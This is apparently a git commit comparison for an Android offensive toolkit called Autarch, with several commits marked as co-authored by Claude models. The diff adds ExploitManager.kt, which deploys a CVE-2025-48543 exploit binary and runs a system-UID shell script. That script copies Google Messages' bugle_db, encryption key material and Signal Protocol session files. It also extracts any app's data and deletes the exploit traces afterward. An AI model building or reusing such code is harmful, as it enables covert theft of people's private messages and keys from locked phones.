Compare commits

...

10 Commits

Author SHA1 Message Date
DigiJ
32842d9873 Autarch Is Setting The Internet Free 2026-03-12 20:51:38 -07:00
DigiJ
559f447753 Add Output/ and data/ to .gitignore 2026-03-08 18:20:51 -07:00
DigiJ
f47d5ce69e Full commit — data files, config, companion app, training data
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-08 18:12:05 -07:00
DigiJ
ddc03e7a55 Add Port Scanner, fix Hack Hijack SSE, fix debug console, fix tab layout bugs
- Add advanced Port Scanner with live SSE output, nmap integration, result export
- Add Port Scanner to sidebar nav and register blueprint
- Fix Hack Hijack scan: replace polling with SSE streaming, add live output box
  and real-time port discovery table; add port_found_cb/status_cb to module
- Fix debug console: capture print()/stdout/stderr via _PrintCapture wrapper,
  install handler at startup (not just on toggle), fix SSE stream history replay
- Add missing CSS: .card, .tabs, .btn-sm, .form-control, --primary, --surface
- Fix tab switching bug: style.display='' falls back to CSS display:none;
  use explicit 'block' in hack_hijack, c2_framework, net_mapper, password_toolkit,
  report_engine, social_eng, webapp_scanner
- Fix defense/linux layout: rewrite with card-based layout, remove slow
  load_modules() call on every page request
- Fix sms_forge missing run() function warning on startup
- Fix port scanner JS: </style> was used instead of </script> closing tag
- Port scanner advanced options: remove collapsible toggle, show as always-visible bar

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-08 18:09:49 -07:00
DigiJ
6c8e9235c9 RCS extraction via MMS content provider — no root/exploit needed
Discovery: Google Messages writes ALL RCS messages to content://mms/
as MMS records. Message body in content://mms/{id}/part (ct=text/plain).
RCS metadata (group name, SIP URI) protobuf-encoded in tr_id field.
Sender addresses in content://mms/{id}/addr.

Tested on Pixel 10 Pro Fold, Android 16, Feb 2026 patch — works at
UID 2000 with zero exploits, zero root, zero Shizuku.

New methods:
- read_rcs_via_mms(): extract RCS+MMS with body, addresses, metadata
- read_rcs_only(): filter to RCS messages only (proto: in tr_id)
- read_rcs_threads(): unique conversation threads with latest message
- backup_rcs_to_xml(): full SMS+MMS+RCS backup in SMS Backup & Restore XML

Fixed _content_query() Windows quoting (single quotes for sort/where).

New routes: /rcs-via-mms, /rcs-only, /rcs-threads, /backup-rcs-xml

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 15:14:39 -08:00
DigiJ
30551a3c53 Archon: add CVE-2025-48543 ExploitManager for locked-bootloader RCS extraction
ExploitManager.kt (new, 430 lines):
- CVE-2025-48543 ART UAF → system UID (1000) exploit orchestration
- checkVulnerability(): SDK + patch level gate (Android 13-16 < Sep 2025)
- extractRcsDatabase(): full pipeline — deploy binary, write extraction
  script, execute exploit, collect bugle_db + WAL + shared_prefs + files
- extractAppData(pkg): extract any app's /data/data/ via system UID
- executeCustomTask(script): run arbitrary script at system privilege
- Tries direct exec first, falls back to PrivilegeManager (Shizuku/shell)
- Exploit binary loaded from assets or /data/local/tmp/ (push via ADB)
- cleanup(): removes all exploit artifacts

MessagingModule: 5 new actions:
- check_vuln, exploit_rcs, exploit_app:<pkg>, exploit_status, exploit_cleanup

No bootloader unlock needed. No root needed. Locked bootloader compatible.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 14:44:07 -08:00
DigiJ
c446b769e7 Add CVE-2025-48543 exploit + auto RCS extraction for locked bootloader
CVE-2025-48543 (ART UAF → system UID):
- Works on Android 13-16 with patch < September 2025
- System UID (1000) can read any app's /data/data/ directory
- No bootloader unlock needed, no root needed
- Pushes exploit APK, executes post-exploit script at system level
- Tasks: extract_rcs, extract_app:<pkg>, disable_mdm, shell

extract_rcs_locked_device():
- Auto-selects best available exploit for the device
- Priority: CVE-2025-48543 → CVE-2024-0044 → content providers
- Extracts bugle_db + WAL + shared_prefs (key material)
- Falls back to SMS/MMS content providers if all exploits fail

CLI: [r] Extract RCS (auto), [e] CVE-2025-48543

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 14:35:54 -08:00
DigiJ
57dfd8f41a Add Android 15/16 privilege escalation CVEs to vulnerability assessment
New exploit paths for current Android versions:
- CVE-2025-48543: ART runtime UAF → system UID (Android 13-16, pre-Sep 2025)
  Public PoC available. Works from malicious app — no ADB needed.
- CVE-2025-48572/48633: Framework info leak + EoP chain (Android 13-16, pre-Dec 2025)
  CISA KEV listed, confirmed in-the-wild. No public PoC yet.
- pKVM kernel bugs (CVE-2025-48623/24, CVE-2026-0027/28/37): kernel/hypervisor
  escalation from system UID. Chain: ART UAF → pKVM → full kernel root.
- avbroot + KernelSU-Next/Magisk for GKI 6.1/6.6 on Android 15/16 Pixel 9

assess_vulnerabilities() now covers Android 12 through 16 with automatic
exploit path selection based on SDK version and security patch level.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 14:31:42 -08:00
DigiJ
384d988ac6 Add privilege escalation exploits — CVE-2024-0044, CVE-2024-31317, GrapheneOS detection
core/android_exploit.py:
- detect_os_type(): identifies Stock Android vs GrapheneOS, checks bootloader,
  hardened_malloc, Pixel hardware, kernel version
- assess_vulnerabilities(): scans device for all exploitable privilege escalation
  paths based on SDK version, patch level, OS type, bootloader state
- exploit_cve_2024_0044(): run-as any app UID via PackageInstaller newline injection
  (Android 12-13, pre-Oct 2024 patch)
- exploit_cve_2024_31317(): Zygote injection via hidden_api_blacklist_exemptions
  (Android 12-14, pre-Mar 2024 patch, NOT GrapheneOS — exec spawning blocks it)
- fastboot_temp_root(): boot Magisk-patched image without flashing (unlocked BL)
- cleanup_cve_2024_0044(): remove exploit traces

modules/android_root.py v2.0:
- 12 menu options including vulnerability assessment, OS detection, both CVEs,
  fastboot temp root, exploit binary deployment, and trace cleanup

Vulnerability database covers: CVE-2024-0044, CVE-2024-31317, CVE-2023-6241
(Pixel GPU), CVE-2025-0072 (Mali MTE bypass), CVE-2024-53104 (Cellebrite USB)

GrapheneOS-aware: detects exec spawning model, hardened_malloc, locked bootloader,
stricter SELinux; blocks inapplicable exploits (CVE-2024-31317 Zygote injection)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 14:19:50 -08:00
DigiJ
81357b71f2 Archon: add bugle_db encrypted database access and RCS account extraction
ShizukuManager:
- extractBugleDbRaw(): copies encrypted bugle_db + WAL + shared_prefs + files
- extractEncryptionKeyMaterial(): reads crypto-related shared_prefs for key recovery
- dumpDecryptedMessages(): queries content://rcs/ and SMS providers for decrypted data
- getRcsAccountInfo(): IMS registration, carrier RCS config, Google Messages prefs
- getGoogleMessagesInfo(): version, UID, package info
- parseContentRow(): proper content query output parser

MessagingModule: 6 new actions:
- rcs_account, extract_bugle_db, dump_decrypted, extract_keys, gmsg_info

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 14:07:35 -08:00
175 changed files with 25336 additions and 312783 deletions

5
.gitignore vendored
View File

@ -60,9 +60,14 @@ dist/
build/ build/
build_temp/ build_temp/
release/ release/
Output/
*.spec.bak *.spec.bak
*.zip *.zip
# Runtime data (captures, certs, training sets, scan results)
data/
# Local utility scripts # Local utility scripts
kill_autarch.bat kill_autarch.bat

View File

@ -1,2 +0,0 @@
#!/bin/bash
source "$(dirname "$(realpath "$0")")/venv/bin/activate"

View File

@ -30,7 +30,7 @@ android {
} }
kotlin { kotlin {
jvmToolchain(21) jvmToolchain(24)
} }
buildFeatures { buildFeatures {

View File

@ -0,0 +1,532 @@
package com.darkhal.archon.messaging
import android.content.Context
import android.os.Build
import android.os.Environment
import android.util.Log
import com.darkhal.archon.util.PrivilegeManager
import java.io.File
import java.io.FileOutputStream
/**
* CVE-2025-48543 exploit manager ART runtime UAF system UID.
*
* Works on Android 13-16 with security patch < 2025-09-05.
* Achieves system_server UID (1000) which can read any app's /data/data/
* directory enough to extract bugle_db + encryption keys from Google Messages.
*
* ARCHITECTURE:
* 1. Check if device is vulnerable (SDK + patch level)
* 2. Extract the native exploit binary from app assets to private dir
* 3. Write a post-exploitation shell script (what to do after getting system UID)
* 4. Execute the exploit binary which:
* a. Triggers ART runtime UAF
* b. Achieves system_server code execution
* c. Runs the post-exploitation script at system privilege
* 5. Collect results and clean up
*
* The native binary must be placed in assets/exploits/cve_2025_48543_arm64
* Built from: https://github.com/gamesarchive/CVE-2025-48543
*
* LOCKED BOOTLOADER COMPATIBLE no root or bootloader unlock needed.
*/
class ExploitManager(private val context: Context) {
companion object {
private const val TAG = "ExploitManager"
private const val EXPLOIT_ASSET = "exploits/cve_2025_48543_arm64"
private const val EXPLOIT_FILENAME = "art_uaf"
private const val GMSG_PKG = "com.google.android.apps.messaging"
private const val GMSG_DATA = "/data/data/$GMSG_PKG"
}
data class VulnCheck(
val vulnerable: Boolean,
val sdk: Int,
val patchLevel: String,
val reason: String
)
data class ExploitResult(
val success: Boolean,
val method: String,
val uidAchieved: String? = null,
val extractedFiles: List<String> = emptyList(),
val outputDir: String? = null,
val error: String? = null,
val details: List<String> = emptyList()
)
private val workDir = File(context.filesDir, "exploit_work")
private val outputDir = File(
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
"autarch_extract"
)
init {
workDir.mkdirs()
outputDir.mkdirs()
}
// ── Vulnerability Check ─────────────────────────────────────────
/**
* Check if device is vulnerable to CVE-2025-48543.
*/
fun checkVulnerability(): VulnCheck {
val sdk = Build.VERSION.SDK_INT
val patch = Build.VERSION.SECURITY_PATCH
if (sdk < Build.VERSION_CODES.TIRAMISU) { // < Android 13
return VulnCheck(false, sdk, patch, "SDK $sdk not affected (need >= 33)")
}
if (patch >= "2025-09-05") {
return VulnCheck(false, sdk, patch, "Patch $patch is not vulnerable (need < 2025-09-05)")
}
return VulnCheck(true, sdk, patch,
"VULNERABLE — Android SDK $sdk, patch $patch (< 2025-09-05)")
}
/**
* Check if the native exploit binary is available.
*/
fun hasExploitBinary(): Boolean {
// Check in app assets first
return try {
context.assets.open(EXPLOIT_ASSET).close()
true
} catch (e: Exception) {
// Check if it was pushed to our files dir
File(workDir, EXPLOIT_FILENAME).exists()
}
}
// ── Exploit Execution ───────────────────────────────────────────
/**
* Extract the RCS database using CVE-2025-48543.
*
* Full pipeline: check vuln deploy exploit write extraction script
* execute exploit collect results cleanup.
*/
fun extractRcsDatabase(): ExploitResult {
val check = checkVulnerability()
if (!check.vulnerable) {
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
}
// Prepare the post-exploitation script
val scriptFile = File(workDir, "post_exploit.sh")
writeExtractionScript(scriptFile)
// Deploy the native exploit binary
val exploitBin = deployExploitBinary()
?: return ExploitResult(false, "CVE-2025-48543",
error = "Exploit binary not found. Push it via ADB:\n" +
" adb push cve_2025_48543_arm64 ${workDir.absolutePath}/$EXPLOIT_FILENAME\n" +
"Or place in app assets at: $EXPLOIT_ASSET",
details = listOf(
"Build from: https://github.com/gamesarchive/CVE-2025-48543",
"Compile for ARM64: ndk-build or cmake with -DANDROID_ABI=arm64-v8a",
"Push binary: adb push exploit ${workDir.absolutePath}/$EXPLOIT_FILENAME"
))
// Execute the exploit
return executeExploit(exploitBin, scriptFile)
}
/**
* Execute the exploit with a custom task script.
*/
fun executeCustomTask(taskScript: String): ExploitResult {
val check = checkVulnerability()
if (!check.vulnerable) {
return ExploitResult(false, "CVE-2025-48543", error = check.reason)
}
val scriptFile = File(workDir, "custom_task.sh")
scriptFile.writeText(taskScript)
scriptFile.setExecutable(true)
val exploitBin = deployExploitBinary()
?: return ExploitResult(false, "CVE-2025-48543", error = "Exploit binary not available")
return executeExploit(exploitBin, scriptFile)
}
/**
* Extract any app's data directory via system UID.
*/
fun extractAppData(packageName: String): ExploitResult {
val targetDir = "/data/data/$packageName"
val outSubDir = File(outputDir, packageName)
outSubDir.mkdirs()
val script = """
#!/system/bin/sh
mkdir -p ${outSubDir.absolutePath}
cp -r $targetDir/* ${outSubDir.absolutePath}/ 2>/dev/null
chmod -R 644 ${outSubDir.absolutePath}/ 2>/dev/null
echo "EXTRACTED $packageName $(date)" > ${outSubDir.absolutePath}/.success
""".trimIndent()
return executeCustomTask(script)
}
// ── Private Implementation ──────────────────────────────────────
/**
* Write the RCS extraction post-exploit script.
* This runs at system UID (1000) after the exploit succeeds.
*/
private fun writeExtractionScript(scriptFile: File) {
val outPath = outputDir.absolutePath
val script = """
#!/system/bin/sh
# Post-exploitation script runs at system UID (1000)
# Extracts Google Messages bugle_db + encryption key material
OUT="$outPath"
GMSG="$GMSG_DATA"
mkdir -p "${'$'}OUT/databases" "${'$'}OUT/shared_prefs" "${'$'}OUT/files"
# Copy encrypted database + WAL (recent messages may be in WAL only)
cp "${'$'}GMSG/databases/bugle_db" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-wal" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-shm" "${'$'}OUT/databases/" 2>/dev/null
cp "${'$'}GMSG/databases/bugle_db-journal" "${'$'}OUT/databases/" 2>/dev/null
# Copy ALL shared_prefs (encryption key material, RCS config, etc.)
cp -r "${'$'}GMSG/shared_prefs/"* "${'$'}OUT/shared_prefs/" 2>/dev/null
# Copy files directory (Signal Protocol state, session keys, identity)
cp -r "${'$'}GMSG/files/"* "${'$'}OUT/files/" 2>/dev/null
# Copy any other databases that might exist
for db in "${'$'}GMSG/databases/"*; do
fname=${'$'}(basename "${'$'}db")
cp "${'$'}db" "${'$'}OUT/databases/${'$'}fname" 2>/dev/null
done
# Make everything world-readable for ADB pull
chmod -R 644 "${'$'}OUT/" 2>/dev/null
find "${'$'}OUT" -type d -exec chmod 755 {} \; 2>/dev/null
# Capture device info for context
echo "device=$(getprop ro.product.model)" > "${'$'}OUT/.device_info"
echo "android=$(getprop ro.build.version.release)" >> "${'$'}OUT/.device_info"
echo "sdk=$(getprop ro.build.version.sdk)" >> "${'$'}OUT/.device_info"
echo "patch=$(getprop ro.build.version.security_patch)" >> "${'$'}OUT/.device_info"
echo "extracted=$(date '+%Y-%m-%d %H:%M:%S')" >> "${'$'}OUT/.device_info"
echo "uid=$(id)" >> "${'$'}OUT/.device_info"
# Success marker
echo "EXTRACTED $(date)" > "${'$'}OUT/.success"
""".trimIndent()
scriptFile.writeText(script)
scriptFile.setExecutable(true)
Log.d(TAG, "Extraction script written to ${scriptFile.absolutePath}")
}
/**
* Deploy the native exploit binary from assets or files dir.
*/
private fun deployExploitBinary(): File? {
val targetBin = File(workDir, EXPLOIT_FILENAME)
// If already deployed and executable, use it
if (targetBin.exists() && targetBin.canExecute()) {
Log.d(TAG, "Exploit binary already deployed at ${targetBin.absolutePath}")
return targetBin
}
// Try to extract from assets
try {
context.assets.open(EXPLOIT_ASSET).use { input ->
FileOutputStream(targetBin).use { output ->
input.copyTo(output)
}
}
targetBin.setExecutable(true, false)
Log.i(TAG, "Exploit binary extracted from assets to ${targetBin.absolutePath}")
return targetBin
} catch (e: Exception) {
Log.w(TAG, "Exploit binary not in assets: ${e.message}")
}
// Check if it was pushed via ADB to our files dir
if (targetBin.exists()) {
targetBin.setExecutable(true, false)
return targetBin
}
// Check /data/local/tmp/ (ADB push default)
val adbPushed = File("/data/local/tmp/$EXPLOIT_FILENAME")
if (adbPushed.exists()) {
adbPushed.copyTo(targetBin, overwrite = true)
targetBin.setExecutable(true, false)
Log.i(TAG, "Exploit binary copied from /data/local/tmp/")
return targetBin
}
Log.e(TAG, "No exploit binary found")
return null
}
/**
* Execute the exploit binary with the post-exploitation script.
*
* The exploit binary takes two arguments:
* arg1: path to shell script to execute at system UID
* arg2: path to write status/output
*
* It triggers the ART UAF, gains system_server context, then
* fork+exec's /system/bin/sh with the provided script.
*/
private fun executeExploit(exploitBin: File, scriptFile: File): ExploitResult {
val statusFile = File(workDir, "exploit_status")
statusFile.delete()
val details = mutableListOf<String>()
details.add("Exploit: ${exploitBin.absolutePath}")
details.add("Script: ${scriptFile.absolutePath}")
details.add("Output: ${outputDir.absolutePath}")
try {
// Method 1: Direct execution (works if we have exec permission)
val process = ProcessBuilder(
exploitBin.absolutePath,
scriptFile.absolutePath,
statusFile.absolutePath
)
.directory(workDir)
.redirectErrorStream(true)
.start()
// Read output with timeout
val output = StringBuilder()
val reader = process.inputStream.bufferedReader()
val startTime = System.currentTimeMillis()
val timeoutMs = 30_000L
while (System.currentTimeMillis() - startTime < timeoutMs) {
if (reader.ready()) {
val line = reader.readLine() ?: break
output.appendLine(line)
Log.d(TAG, "Exploit: $line")
} else if (!process.isAlive) {
// Read remaining
output.append(reader.readText())
break
} else {
Thread.sleep(100)
}
}
val exitCode = try {
process.waitFor()
process.exitValue()
} catch (e: Exception) {
process.destroyForcibly()
-1
}
details.add("Exit code: $exitCode")
details.add("Output: ${output.toString().take(500)}")
// Check for success
val successMarker = File(outputDir, ".success")
if (successMarker.exists()) {
val extractedFiles = collectExtractedFiles()
return ExploitResult(
success = true,
method = "CVE-2025-48543",
uidAchieved = "system (1000)",
extractedFiles = extractedFiles,
outputDir = outputDir.absolutePath,
details = details + listOf(
"Success marker: ${successMarker.readText().trim()}",
"Extracted files: ${extractedFiles.size}",
"Pull via ADB: adb pull ${outputDir.absolutePath}/ ./extracted_rcs/"
)
)
}
// If direct exec failed, try via PrivilegeManager (Shizuku/shell)
details.add("Direct exec didn't produce results, trying PrivilegeManager...")
return executeViaShell(exploitBin, scriptFile, details)
} catch (e: Exception) {
Log.e(TAG, "Exploit execution failed", e)
details.add("Exception: ${e.message}")
// Fallback to PrivilegeManager
return executeViaShell(exploitBin, scriptFile, details)
}
}
/**
* Execute the exploit via PrivilegeManager (Shizuku/ADB shell).
* This gives us UID 2000 to launch the exploit, which then escalates to system.
*/
private fun executeViaShell(
exploitBin: File,
scriptFile: File,
details: MutableList<String>
): ExploitResult {
try {
// Copy exploit to a shell-accessible location
val shellBin = "/data/local/tmp/${EXPLOIT_FILENAME}_$$"
val shellScript = "/data/local/tmp/post_exploit_$$.sh"
val cpBin = PrivilegeManager.execute(
"cp ${exploitBin.absolutePath} $shellBin && chmod 755 $shellBin"
)
val cpScript = PrivilegeManager.execute(
"cp ${scriptFile.absolutePath} $shellScript && chmod 755 $shellScript"
)
if (cpBin.exitCode != 0) {
// Try pushing from the app's internal storage directly
PrivilegeManager.execute(
"cat ${exploitBin.absolutePath} > $shellBin && chmod 755 $shellBin"
)
}
if (cpScript.exitCode != 0) {
PrivilegeManager.execute(
"cat ${scriptFile.absolutePath} > $shellScript && chmod 755 $shellScript"
)
}
details.add("Shell binary: $shellBin")
details.add("Shell script: $shellScript")
// Execute the exploit from shell context
val result = PrivilegeManager.execute(
"$shellBin $shellScript /data/local/tmp/exploit_status_$$"
)
details.add("Shell exit: ${result.exitCode}")
details.add("Shell stdout: ${result.stdout.take(300)}")
if (result.stderr.isNotBlank()) {
details.add("Shell stderr: ${result.stderr.take(200)}")
}
// Cleanup shell temps
PrivilegeManager.execute("rm -f $shellBin $shellScript /data/local/tmp/exploit_status_$$")
// Check for success
val successMarker = File(outputDir, ".success")
if (successMarker.exists()) {
val extractedFiles = collectExtractedFiles()
return ExploitResult(
success = true,
method = "CVE-2025-48543 (via shell)",
uidAchieved = "system (1000)",
extractedFiles = extractedFiles,
outputDir = outputDir.absolutePath,
details = details
)
}
return ExploitResult(
success = false,
method = "CVE-2025-48543",
error = "Exploit executed but did not produce success marker. " +
"The binary may need to be rebuilt for this device's kernel/ART version.",
details = details
)
} catch (e: Exception) {
Log.e(TAG, "Shell exploit execution failed", e)
return ExploitResult(
success = false,
method = "CVE-2025-48543",
error = "Shell execution failed: ${e.message}",
details = details
)
}
}
/**
* Collect list of extracted files from output directory.
*/
private fun collectExtractedFiles(): List<String> {
val files = mutableListOf<String>()
outputDir.walkTopDown().forEach { file ->
if (file.isFile && file.name != ".success" && file.name != ".device_info") {
files.add(file.relativeTo(outputDir).path)
}
}
return files
}
/**
* Clean up all exploit artifacts from the device.
*/
fun cleanup(): List<String> {
val cleaned = mutableListOf<String>()
// Remove work directory
if (workDir.exists()) {
workDir.deleteRecursively()
cleaned.add("Removed work dir: ${workDir.absolutePath}")
}
// Remove extracted data
if (outputDir.exists()) {
outputDir.deleteRecursively()
cleaned.add("Removed output dir: ${outputDir.absolutePath}")
}
// Remove anything in /data/local/tmp/
try {
PrivilegeManager.execute("rm -f /data/local/tmp/art_uaf* /data/local/tmp/post_exploit* /data/local/tmp/exploit_status*")
cleaned.add("Cleaned /data/local/tmp/ exploit artifacts")
} catch (e: Exception) {
cleaned.add("Could not clean /data/local/tmp/: ${e.message}")
}
return cleaned
}
/**
* Get a summary of what's been extracted (if anything).
*/
fun getExtractionStatus(): Map<String, Any> {
val status = mutableMapOf<String, Any>()
val successMarker = File(outputDir, ".success")
status["extracted"] = successMarker.exists()
if (successMarker.exists()) {
status["marker"] = successMarker.readText().trim()
val deviceInfo = File(outputDir, ".device_info")
if (deviceInfo.exists()) {
status["device_info"] = deviceInfo.readText().trim()
}
status["files"] = collectExtractedFiles()
status["output_dir"] = outputDir.absolutePath
// Check for bugle_db specifically
val bugleDb = File(outputDir, "databases/bugle_db")
status["has_bugle_db"] = bugleDb.exists()
if (bugleDb.exists()) {
status["bugle_db_size"] = bugleDb.length()
}
val sharedPrefs = File(outputDir, "shared_prefs")
if (sharedPrefs.exists()) {
status["shared_prefs_count"] = sharedPrefs.listFiles()?.size ?: 0
}
}
return status
}
}

View File

@ -100,6 +100,66 @@ class MessagingModule : ArchonModule {
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)", description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
privilegeRequired = true, privilegeRequired = true,
rootOnly = false rootOnly = false
),
ModuleAction(
id = "rcs_account",
name = "RCS Account Info",
description = "Get Google Messages RCS registration, IMS state, and carrier config",
privilegeRequired = true
),
ModuleAction(
id = "extract_bugle_db",
name = "Extract bugle_db",
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
privilegeRequired = true
),
ModuleAction(
id = "dump_decrypted",
name = "Dump Decrypted Messages",
description = "Query decrypted RCS/SMS messages from content providers and app context",
privilegeRequired = true
),
ModuleAction(
id = "extract_keys",
name = "Extract Encryption Keys",
description = "Extract bugle_db encryption key material from shared_prefs",
privilegeRequired = true
),
ModuleAction(
id = "gmsg_info",
name = "Google Messages Info",
description = "Get Google Messages version, UID, and RCS configuration",
privilegeRequired = false
),
ModuleAction(
id = "check_vuln",
name = "Check CVE-2025-48543",
description = "Check if device is vulnerable to ART UAF → system UID exploit",
privilegeRequired = false
),
ModuleAction(
id = "exploit_rcs",
name = "Exploit → Extract RCS",
description = "CVE-2025-48543: achieve system UID, extract bugle_db + keys (locked BL ok)",
privilegeRequired = false
),
ModuleAction(
id = "exploit_app",
name = "Exploit → Extract App Data",
description = "CVE-2025-48543: extract any app's data (exploit_app:<package>)",
privilegeRequired = false
),
ModuleAction(
id = "exploit_status",
name = "Extraction Status",
description = "Check what's been extracted so far",
privilegeRequired = false
),
ModuleAction(
id = "exploit_cleanup",
name = "Cleanup Exploit Traces",
description = "Remove all exploit artifacts and extracted data from device",
privilegeRequired = false
) )
) )
@ -139,6 +199,17 @@ class MessagingModule : ArchonModule {
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off") actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
actionId == "intercept_mode:on" -> interceptMode(shizuku, true) actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
actionId == "intercept_mode:off" -> interceptMode(shizuku, false) actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
actionId == "extract_keys" -> extractKeys(shizuku)
actionId == "gmsg_info" -> gmsgInfo(shizuku)
actionId == "check_vuln" -> checkVuln(context)
actionId == "exploit_rcs" -> exploitRcs(context)
actionId.startsWith("exploit_app:") -> exploitApp(context, actionId.substringAfter(":"))
actionId == "exploit_app" -> ModuleResult(false, "Usage: exploit_app:<package.name>")
actionId == "exploit_status" -> exploitStatus(context)
actionId == "exploit_cleanup" -> exploitCleanup(context)
else -> ModuleResult(false, "Unknown action: $actionId") else -> ModuleResult(false, "Unknown action: $actionId")
} }
} }
@ -359,4 +430,209 @@ class MessagingModule : ArchonModule {
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception") ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
} }
} }
// ── Google Messages RCS database access ─────────────────────────
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val info = shizuku.getRcsAccountInfo()
val details = mutableListOf<String>()
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
val gmsg = info["google_messages"] as? Map<*, *>
if (gmsg != null) {
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
}
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
details.add("Carrier RCS keys: ${rcsConfig.size}")
rcsConfig.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
gmsgPrefs.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
ModuleResult(true, "RCS account info retrieved", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
}
return try {
val result = shizuku.extractBugleDbRaw()
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
val details = mutableListOf<String>()
details.add("Database files: ${dbFiles.joinToString(", ")}")
details.add("Staging dir: ${result["staging_dir"]}")
details.add("ENCRYPTED: ${result["encrypted"]}")
details.add(result["note"].toString())
details.add("")
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
details.add("Key material in shared_prefs/ may enable offline decryption")
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
} catch (e: Exception) {
ModuleResult(false, "Extract failed: ${e.message}")
}
}
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.dumpDecryptedMessages()
val count = result["message_count"] as? Int ?: 0
val details = mutableListOf<String>()
details.add("Messages retrieved: $count")
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
if (result["json_path"] != null) {
details.add("JSON dump: ${result["json_path"]}")
}
details.add(result["note"].toString())
if (count > 0) {
details.add("")
details.add("Use AUTARCH web UI to pull the decrypted dump")
}
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
} catch (e: Exception) {
ModuleResult(false, "Dump failed: ${e.message}")
}
}
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.extractEncryptionKeyMaterial()
if (result.containsKey("error")) {
return ModuleResult(false, result["error"].toString())
}
val details = mutableListOf<String>()
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
details.add("Crypto-related shared_prefs files: $cryptoCount")
val prefFiles = result["shared_prefs_files"] as? List<*>
if (prefFiles != null) {
details.add("Total shared_prefs files: ${prefFiles.size}")
}
val filesDir = result["files_dir"] as? List<*>
if (filesDir != null) {
details.add("Files dir entries: ${filesDir.size}")
}
details.add("")
details.add("NOTE: bugle_db encryption key may be in these files.")
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
details.add("If key derivation params are in shared_prefs, offline")
details.add("decryption may be possible with the right tools.")
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
} catch (e: Exception) {
ModuleResult(false, "Key extraction failed: ${e.message}")
}
}
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
return try {
val info = shizuku.getGoogleMessagesInfo()
if (info.isEmpty()) {
return ModuleResult(false, "Google Messages not found or not accessible")
}
val details = info.map { (k, v) -> "$k: $v" }
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
// ── CVE-2025-48543 Exploit ──────────────────────────────────────
private fun checkVuln(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val check = exploit.checkVulnerability()
val hasBinary = exploit.hasExploitBinary()
val details = listOf(
"SDK: ${check.sdk}",
"Patch: ${check.patchLevel}",
"Vulnerable: ${check.vulnerable}",
"Exploit binary: ${if (hasBinary) "AVAILABLE" else "NOT FOUND"}",
check.reason
)
return ModuleResult(true,
if (check.vulnerable) "VULNERABLE to CVE-2025-48543" else "NOT vulnerable",
details)
}
private fun exploitRcs(context: Context): ModuleResult {
val exploit = ExploitManager(context)
val check = exploit.checkVulnerability()
if (!check.vulnerable) {
return ModuleResult(false, "Device not vulnerable: ${check.reason}")
}
val result = exploit.extractRcsDatabase()
val details = result.details.toMutableList()
if (result.success) {
details.add("")
details.add("Pull extracted data:")
details.add(" adb pull ${result.outputDir}/ ./extracted_rcs/")
if (result.extractedFiles.isNotEmpty()) {
details.add("")
details.add("Files (${result.extractedFiles.size}):")
